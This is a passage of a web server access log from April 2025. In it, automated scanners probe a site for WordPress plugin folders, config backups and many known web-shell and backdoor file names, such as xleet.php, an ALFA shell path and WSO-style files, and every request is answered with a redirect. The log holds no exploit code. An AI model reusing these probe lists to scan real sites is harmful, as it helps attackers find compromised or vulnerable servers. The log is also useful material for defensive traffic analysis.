/wp-includes/blocks/site-logo/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:14:43 -0400] "GET /wp-includes/blocks/social-links/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:14:45 -0400] "GET /wp-includes/blocks/term-description/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:14:46 -0400] "GET /wp-includes/css/dist/preferences/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:14:47 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:14:48 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:14:50 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:14:51 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:14:53 -0400] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:14:55 -0400] "GET /wp-includes/sts.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:14:56 -0400] "GET /wp-includes/wp-class.php/wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:14:58 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:15:00 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:15:02 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:15:06 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:15:08 -0400] "GET /xox.php HTTP/1.1" 301 795 "-" "-" 4.227.36.98 - - [23/Apr/2025:22:23:55 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)" 20.171.207.42 - - [23/Apr/2025:22:24:02 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)" 20.171.207.42 - - [23/Apr/2025:22:24:06 -0400] "GET /blog/seo/geo-chem HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)" 182.44.9.147 - - [23/Apr/2025:22:29:36 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 52.184.145.216 - - [23/Apr/2025:22:37:31 -0400] "GET /wp-content/ccx/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:37:34 -0400] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:37:35 -0400] "GET /wp-content/plugins/pwnd-1/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:37:36 -0400] "GET /wp-content/plugins/pwnd/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:37:37 -0400] "GET /wordpress/wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 54.191.124.74 - - [23/Apr/2025:22:37:39 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36" 52.184.145.216 - - [23/Apr/2025:22:37:39 -0400] "GET /assets/fonts/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:37:40 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:37:41 -0400] "GET /wp-content/plugins/css-ready/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:37:42 -0400] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:37:44 -0400] "GET /wp-content/uploads/2023/11/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:37:45 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:37:46 -0400] "GET /wp-includes/Requests/Text/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:37:49 -0400] "GET /wp-content/themes/wp-classic/inc/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:37:51 -0400] "GET /admin/upload/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:37:54 -0400] "GET /wp-includes.bak/html-api/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:37:56 -0400] "GET /wp-admin/maint/maint/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:37:59 -0400] "GET /wp-content/plugins/Cache/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:38:02 -0400] "GET /wp-admin/css/colors/coffee/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:38:03 -0400] "GET /wp-admin/js//wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:38:04 -0400] "GET /wp/wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:38:05 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:38:07 -0400] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:38:10 -0400] "GET /wp-content/gallery/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:38:11 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:38:13 -0400] "GET /wp-content/plugins/backup-backup/includes/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:38:18 -0400] "GET /filemanager/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:38:21 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:38:25 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:38:28 -0400] "GET /wp-content/plugins/envato-market/inc/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:38:29 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:38:31 -0400] "GET /wp-content/themes/twentyfive/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:38:32 -0400] "GET /wp-content/themes/travel/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:38:33 -0400] "GET /wp-content/plugins/core/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:38:35 -0400] "GET /img/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:38:37 -0400] "GET /wp-content/plugins/contact-form-7/includes/js/jquery-ui/themes/smoothness/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:38:39 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:38:41 -0400] "GET /wp-content/plugins/seoo/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:38:44 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:38:47 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:38:50 -0400] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:38:51 -0400] "GET /wp-content/plugins/widget-logic/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:38:53 -0400] "GET /wp-includes/js/tinymce/langs/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:38:54 -0400] "GET /wp-includes//wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:38:57 -0400] "GET /wp-content/plugins/wp-hps/sh/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:38:58 -0400] "GET /wp-content/plugins/masterx/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:39:00 -0400] "GET /wp-content/plugins/custom/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:39:01 -0400] "GET /wp-includes/Requests/Exception/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:39:03 -0400] "GET /wp-content/plugins/yyobang/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:39:07 -0400] "GET /libraries/vendor/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:39:10 -0400] "GET /include/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:39:13 -0400] "GET /wp-content/blogs.dir/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:39:14 -0400] "GET /libraries/legacy/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:39:15 -0400] "GET /wp-content/uploads/2018/03/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:39:16 -0400] "GET /wp-content/plugins/press/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:39:18 -0400] "GET /libraries/phpmailer/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:39:19 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:39:20 -0400] "GET /wp-content/plugins/apikey/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:39:22 -0400] "GET /wp-content/banners/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:39:24 -0400] "GET /.wp-cli/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:39:25 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:39:26 -0400] "GET /wp-content/plugins/background-image-cropper/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:39:26 -0400] "GET /wp-admin/ccx/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:39:27 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:39:30 -0400] "GET /assets/images/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:39:31 -0400] "GET /wp-content/plugins/instabuilder2/cache/plugins/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:39:32 -0400] "GET /.well-known//.well-known/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:39:33 -0400] "GET /wp-includes/blocks/table/int/tmpl/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:39:34 -0400] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:39:34 -0400] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:39:34 -0400] "GET /wp/wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:39:35 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:39:35 -0400] "GET /wp-includes/js/dist/vendor/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:39:36 -0400] "GET /wp-content/themes/twentyseventeen/page/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:39:37 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:39:38 -0400] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:39:38 -0400] "GET /wp-content/uploads/2014/03/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:39:39 -0400] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:39:40 -0400] "GET /.tmb/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:39:41 -0400] "GET /docs/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:39:42 -0400] "GET /wp-content/plugins/dzs-zoomsounds/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:39:44 -0400] "GET /wp-content/themes/ccx/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:39:46 -0400] "GET /wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:39:47 -0400] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:39:48 -0400] "GET /wp-includes/Text/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:39:50 -0400] "GET /wp-admin/404.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:39:51 -0400] "GET /wp-admin/maint/layout.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:39:51 -0400] "GET /wp-content/plugins/dmZcq9yohpy9bCw5Q9fNaH/src/ui/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:39:53 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:39:53 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:39:54 -0400] "GET /wp-admin/css/file.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:39:56 -0400] "GET /wp-includes/ID3/2.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:39:57 -0400] "GET /gebase.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:39:59 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:40:00 -0400] "GET /cgi-bin/160263/wsoyanzv3.5enc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:40:03 -0400] "GET /cux.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:40:09 -0400] "GET /wp-includes/fonts/install.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:40:13 -0400] "GET /wp-includes/PHPMailer/Send.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:40:17 -0400] "GET /wp-includes/pomo/pomo.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:40:19 -0400] "GET /.well-known/idupkfqa.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:40:22 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:40:25 -0400] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:40:26 -0400] "GET /wp-content/uploads/wpr-addons/forms/63490fd7e6.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:40:27 -0400] "GET /wp-includes/html-api/aj.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:40:28 -0400] "GET /class.api.php999 HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:40:29 -0400] "GET /autoload_classmap/function.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:40:31 -0400] "GET /wp-admin/css/colors/blue/lock.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:40:33 -0400] "GET /wp-content/themes/wp-pridmag/admin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:40:36 -0400] "GET /wp-content/wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:40:38 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:40:40 -0400] "GET /wp-includes/wp-includes_function.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:40:41 -0400] "GET /wp-admin/css/colors/ectoplasm/admin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:40:43 -0400] "GET /wp-content/plugins/oouxqal/ovacoczfz.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:40:45 -0400] "GET /wp-includes/Requests/vvEiCw.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:40:47 -0400] "GET /wp-includes/sitemaps/providers/buy.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:40:48 -0400] "GET /wp-admin/css/plugins.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:40:51 -0400] "GET /wp-admin/astab.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:40:53 -0400] "GET /wp-admin/js/about.php7 HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:40:54 -0400] "GET /.well-known/fmseuycg.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:40:55 -0400] "GET /wp-admin/includes/admin-ajax.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:40:55 -0400] "GET /wp-includes/Text/Diff/gethostbyname.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:40:56 -0400] "GET /admin/editor/engine.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:40:56 -0400] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:40:57 -0400] "GET /cgi-bin/radio.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:40:59 -0400] "GET /wp-admin/includes/class-wp-dxqJeZ.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:41:01 -0400] "GET /wp-content/uploads/index1.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:41:02 -0400] "GET /login.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:41:03 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:41:05 -0400] "GET /components/ovaxqhsbg.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:41:06 -0400] "GET /cwuvvcbn.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:41:08 -0400] "GET /rwvri.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:41:09 -0400] "GET /.well-known/acme-challenge/jmfi2.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:41:13 -0400] "GET /templates/beez3/1.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:41:17 -0400] "GET /wp-includes/images/media/code-text.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:42:24 -0400] "GET /wp-content/plugins/seox/randkeyword.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:42:26 -0400] "GET /wp-includes/rest-api/admin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:42:29 -0400] "GET /.well-known/hdkmnjbd.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:42:31 -0400] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:42:33 -0400] "GET /S.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:42:35 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:42:36 -0400] "GET /wp-includes/goods.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:42:39 -0400] "GET /OLD-UP-ova.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:42:39 -0400] "GET /editor.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:42:41 -0400] "GET /retu.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:42:42 -0400] "GET /wp-includes/blocks/table/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:42:43 -0400] "GET /.well-known/pki-validation/65d9b536-ce5f-497e-8c82-8ee66c78d293.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:42:45 -0400] "GET /about/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:42:47 -0400] "GET /wordpress/wp-content/plugins/HHX6zQm6DLw3Ae6bxM4VOR/src/ui/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:42:49 -0400] "GET /wordpress/wp-includes/css/dist/list-reusable-blocks/ovatthttr.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:42:51 -0400] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:42:53 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:42:53 -0400] "GET /cgi-bin/moon.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:42:55 -0400] "GET /wp-admin/maint/go.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:42:56 -0400] "GET /ckgdg.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:42:57 -0400] "GET /wp-admin/maint/buy.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:42:58 -0400] "GET /wp-content/themes/seotheme/admin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:42:58 -0400] "GET /wp-includes/rest-api/search/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:43:01 -0400] "GET /.wp-db.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:43:05 -0400] "GET /wp-admin/includes/about.php7 HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:43:07 -0400] "GET /wp-includes/ID3/custom-file-4-1735114949.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:43:09 -0400] "GET /storage/filemanager.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:43:11 -0400] "GET /wp-content/uploads/SakMaDic.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:43:12 -0400] "GET /.tmb/file.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:43:13 -0400] "GET /blog.php7 HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:43:15 -0400] "GET /wp-includes/Text/Diff/Engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:43:16 -0400] "GET /wp-admin/includes/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:43:16 -0400] "GET /wp-admin/js/chosen.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:43:17 -0400] "GET /wp-admin/js/widgets/moon.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:43:19 -0400] "GET /wp-admin/images/license.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:43:21 -0400] "GET /wp-content/upgrade/plugins.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:43:22 -0400] "GET /home/function.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:43:23 -0400] "GET /urcudivu.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:43:24 -0400] "GET /wp-content/plugins/erinyani/gebase.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:43:25 -0400] "GET /wp-content/themes/sky-pro/js.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:43:26 -0400] "GET /wp-content/themes/twentytwentytwo/inc/patterns/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:43:27 -0400] "GET /wp-includes/click.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:43:27 -0400] "GET /wp-includes/css/cong.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:43:27 -0400] "GET /wp-includes/blocks/button/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:43:28 -0400] "GET /wp-includes/IXR/plugins.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:43:29 -0400] "GET /dhemowfu.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:43:29 -0400] "GET /uploads/683584ibal.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:43:30 -0400] "GET /wp-content/plugins/view-more/ioxi.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:43:31 -0400] "GET /.well-known/pki-validation/xp.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:43:31 -0400] "GET /wp-admin/51axqg6EDPQ.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:43:32 -0400] "GET /wp-admin/images/a2.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:43:33 -0400] "GET /wp-content/plugins/dywdsmx/ovailqjzg.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:43:34 -0400] "GET /wp-includes/images/install.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:43:35 -0400] "GET /wp_wol.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:43:36 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:43:37 -0400] "GET /cgi-bin/file.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:43:38 -0400] "GET /inc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:43:39 -0400] "GET /wp-admin/network/file.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:43:41 -0400] "GET /wp-content/sxo.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:43:43 -0400] "GET 